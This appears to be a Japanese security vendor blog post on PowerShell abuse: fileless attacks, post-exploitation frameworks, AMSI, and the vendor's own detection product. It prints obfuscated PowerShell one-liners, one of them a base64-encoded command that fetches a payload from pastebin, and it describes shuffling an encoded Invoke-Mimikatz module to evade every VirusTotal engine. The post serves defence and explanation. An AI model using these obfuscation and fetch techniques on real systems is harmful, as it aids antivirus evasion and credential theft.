PowerShell が問題となる理由とは?
PowerShell[1] は、.NET フレームワークを活用したコマンドライン シェルインターフェイスです。タスクの自動化を支援することを主な目的としていますが、Bash、fish、Zsh などの他のシェルとは異なり、PowerShell は単なるシェルではなく、スクリプトを実行する機能を備えたインタプリタ言語でもあります。
PowerShell には、自動化の開発に適したいくつかの魅力的な資質があります。
- Windows 7 以降のすべての Windows OS にプレインストールされている
- 2016 年からオープンソースとして公開されている
- Windows だけでなく、Linux や MacOS にも対応している
- Win32 API に直接アクセスできる
PowerShell は、これらの特性により、開発者コミュニティで人気が高く強力なツールとなっていますが、これらの特性は、ポストエクスプロイトのための理想的なツールでもあるため、近年は脅威アクターに人気があります。
一般的な攻撃ベクター
スクリプトベースのサイバー攻撃 は、ファイルレスで攻撃できることから、2017 年から人気を集めています。これらの攻撃は、通常、感染チェーン中に少数のファイルしか関与しません。また、シナリオによっては、感染チェーンにファイルが全く関与しない場合もあります。
脅威の担い手がファイルレス攻撃を頻繁に使用するようになったのは、検出がより困難だからです。ファイルレス攻撃は、感染のほとんどがファイルシステムではなく被害者のメモリ空間で発生するため、ファイルシステムのスキャンを基本とするマルウェア対策製品の検出を回避する成功率が高くなります。
PowerShell は、最も優れたマルウェアのドロッパーオプションの 1 つです。— 攻撃者は、シンプルなスクリプト を使用して、インターネットからペイロードを簡単にダウンロードし、実行することができます。最近の攻撃では、C2 サーバと通信するためのコンポーネントとして PowerShell が使用され、感染の連鎖を開始するためのペイロードをダウンロードしています。
取り引きされるツール群
レッドチームやペンテスターの間で PowerShell の人気が高まり、PowerShell を使った多くの攻撃が成功したことを受けて、研究者や開発者は PowerShell のポストエクスプロイトフレームワークを作り始めました。これらのフレームワークを使えば、サイバーセキュリティや OS の内部に関する深い知識を持たない人でも、合法的な脅威を作り出すことができます。
以下に、代表的なフレームワークの概要を紹介します。
- PowerShell Empire[2] ポストエクスプロイトで以下を実現するオープンソースのフレームワークです:
- ラテラルムーブメント(例:Pass-the-hash / Invoking PsExec)
- Mimikatz を使ったクレデンシャル ダンピング
- パーシステンス
- ユーザー情報の収集(例:クリップボードデータやキーロギング)
- UAC バイパスによる特権昇格
プロジェクトのサポートは終了していますが、Empire フレームワークにはいくつかのモジュールや機能があり、レッドチームの間で人気を博しています。
図1 - PowerShell Empire フレームワーク ( https://www.powershellempire.com より引用)[/caption]- Nishang[3][4] も有名なエクスプロイト後のオープンソースのフレームワークで、以下のような攻撃能力を備えています:
- 被害者のマシンにバックドアを作成
- 複数の方法で特権を昇格させる
- ネットワークスキャンとブルートフォースによる横方向への移動
- ファイルレス攻撃 - メモリ上で悪意のあるペイロードを実行する
- PowerSploit[5][6] は、さまざまな PowerShell モジュールやスクリプトを提供する、オープンソースの攻撃的なフレームワークとしても人気で、以下のような機能があります:
- Get-Microphone Audio モジュールを使用した音声キャプチャ
- Get-Keystrokes モジュールを使ったキーロギング
- New-User Persistence Option モジュールを使った永続化のためのスケジュールされたタスクの作成
- また、コードインジェクション技術のセットも含まれています
これらのフレームワークは、セキュリティリスクの意識が低い組織に、深刻な損害を与え得る攻撃的な機能を大量に提供しています。
他にも、オープンソースのフレームワークや有料の製品は数多くあり、数ヶ月前に公開された有料のペネトレーションテストツールキット Cobalt Strike[7] では、Beacon コンポーネントに PowerShell が採用されています。
AMSI – どのように役立つのか?
今日の攻撃の多くは、難読化されていて検出が困難な PowerShell スクリプトを利用しています。Windows 10 以降、マイクロソフトは、あらゆるアンチマルウェア製品が統合できるインターフェースを作成しました。このインターフェースは、AMSI - Antimalware Scan Interface.[8]と呼ばれています。
図2 - AMSI のアーキテクチャ( https://docs.microsoft.com/ より引用)[/caption]PowerShell スクリプトは、暗号化されていたり、難読化されていたり、あるいは単にサードパーティのウェブサイトからペイロードをダウンロードしようとすることがよくあります。
簡単にするために、「Evil PS」という文字列の実行を防止したいとします。ヒューリスティックやシグネチャベースのアンチマルウェアは、目的の文字列や正規表現をブロックするルールを追加するだけで、次のような実行が阻止されます:
- powershell.exe Write-Host 'Evil PS'
しかし、文字列をバラバラにしてみたらどうだろう。
- powershell.exe Write-Host(("{1}{0}" -f 'v','E')+'i'+("{2}{1}{0}" -f 'S','P','l '))
すべてのサイバーセキュリティ製品でまだ大丈夫なのでしょうか?さらに複雑さを増して、単純な base64 エンコーディングを加えたらどうでしょう?
- powershell.exe Write-Host([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(("{1}{0}" -f 'pbC','RXZ')+'BQ'+("{2}{1}{0}" -f '=','w=','U'))))
それでもまだ不十分な場合は、次の例のように pastebin.com にペイロードを隠すこともできます([9]):
- powershell.exe Write-Host([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(("{1}{0}" -f 'zZUJhc2ljUGFyc2','KHdnZXQgLVV')+'luZyBod'+("{2}{1}{0}" -f 'IpLkNvbnRlbnQ=','9yYXcvTlZVa0tZOW','HRwczovL3Bhc3RlYmluLmNvbS'))))
シンプルな難読化は本当に効果があるのか?
私たちが行った PoV では、認証情報の取得に Mimikatz を使用する PowerSploit モジュールの 1 つを取り上げ、VirusTotal で不明となるように行末の 1 文字を削除しました。そして、それをアップロードして結果をテストしました。VirusTotal に登録されている32種類のエンジン が、このモジュールを直ちに検出しました。
[caption id="attachment_11338" align="alignnone" width="615"] 図4 - プレーンテキスト上の Invoke-Mimikatz モジュール(AV の陽性検出量は時間の経過とともに変化することがあります)[/caption]
プレーンテキストのスクリプトを実行しようとすると、Deep Instinct エージェントが即座に検出しました。
スクリプト全体を base64 エンコードして再度アップロードしたところ、さらにいくつかのエンジンの検出数を減らすことができ、検出数は 11 にまで減少しました。
[caption id="attachment_11346" align="alignnone" width="615"] 図6 - base64 でエンコードした後の Invoke-Mimikatz モジュール(AV のポジティブな検出量は時間の経過とともに変化することがあります)[/caption]
この例では、Deep Instinct エージェントはまだ悪意のあるペイロードを検出することができます。
[caption id="attachment_11350" align="alignnone" width="715"] 図7 - base64 エンコードされたスクリプトに対する Deep Instinct の検出結果[/caption]最終的に、base64 の Invoke-Mimikatz モジュールを取り出し、PowerShell でいくつかの基本的な連結方法を使ってシャッフルしたところ、VirusTotal で 検出できるエンジンはゼロになりました。
図8 - データをエンコードしてシャッフルした後の Invoke-Mimikatz モジュール(AV の陽性検出数は時間の経過とともに変化することがあります)[/caption]
私たちはこのファイルを弄り、その本質を隠そうとしましたが、Deep Instinct エージェントは依然としてリスクを検出し、このスクリプトを「悪意のある PowerShell コマンドの実行」としてタグ付けしました。
図9 - base64 でエンコードされ、シャッフルされたスクリプトに対する Deep Instinct の検出結果[/caption]AMSI の目的は、サイバーセキュリティベンダーが暗号化や難読化ではなく、ペイロードに集中できるよう、攻撃者の能力を奪うことです。
AMSI インターフェースを使用するために、マイクロソフトは開発者や研究者向けにドキュメントガイドを公開しています。
AMSI の検出を回避する試みはほとんど成功していませんが、PowerShell 攻撃のほとんどを防ぐことができる強力なインターフェースであることに変わりはありません。
Deep Instinct と PowerShell の比較
Deep Instinct には、PowerShell 攻撃に対処するためのいくつかのソリューション があります。振る舞い分析による検知メカニズムに加えて、Deep Instinct は、当社のニューラルネットワーク技術の中核にある深層学習によって悪意のある PowerShell スクリプトをモデルによる予測で防ぎます。これにより、PowerShell ベースのものを含め、既知および未知の脅威を検出することができます。
マルウェアを阻止するための業界最先端のアプローチについて詳しく知りたい方は、当社の新しいeBook「ランサムウェア:事後対応より予防が大事」をダウンロードしてください。
参考資料:
[1]https://github.com/PowerShell
[2]https://github.com/EmpireProject/Empire
[3]https://github.com/samratashok/nishang
[4]https://kalilinuxtutorials.com/nishang/
[5]https://github.com/PowerShellMafia/PowerSploit
[6]https://attack.mitre.org/software/S0194/
[7]https://www.deepinstinct.com/blog/cobalt-strike-post-exploitation-attackers-toolkit
[8]https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal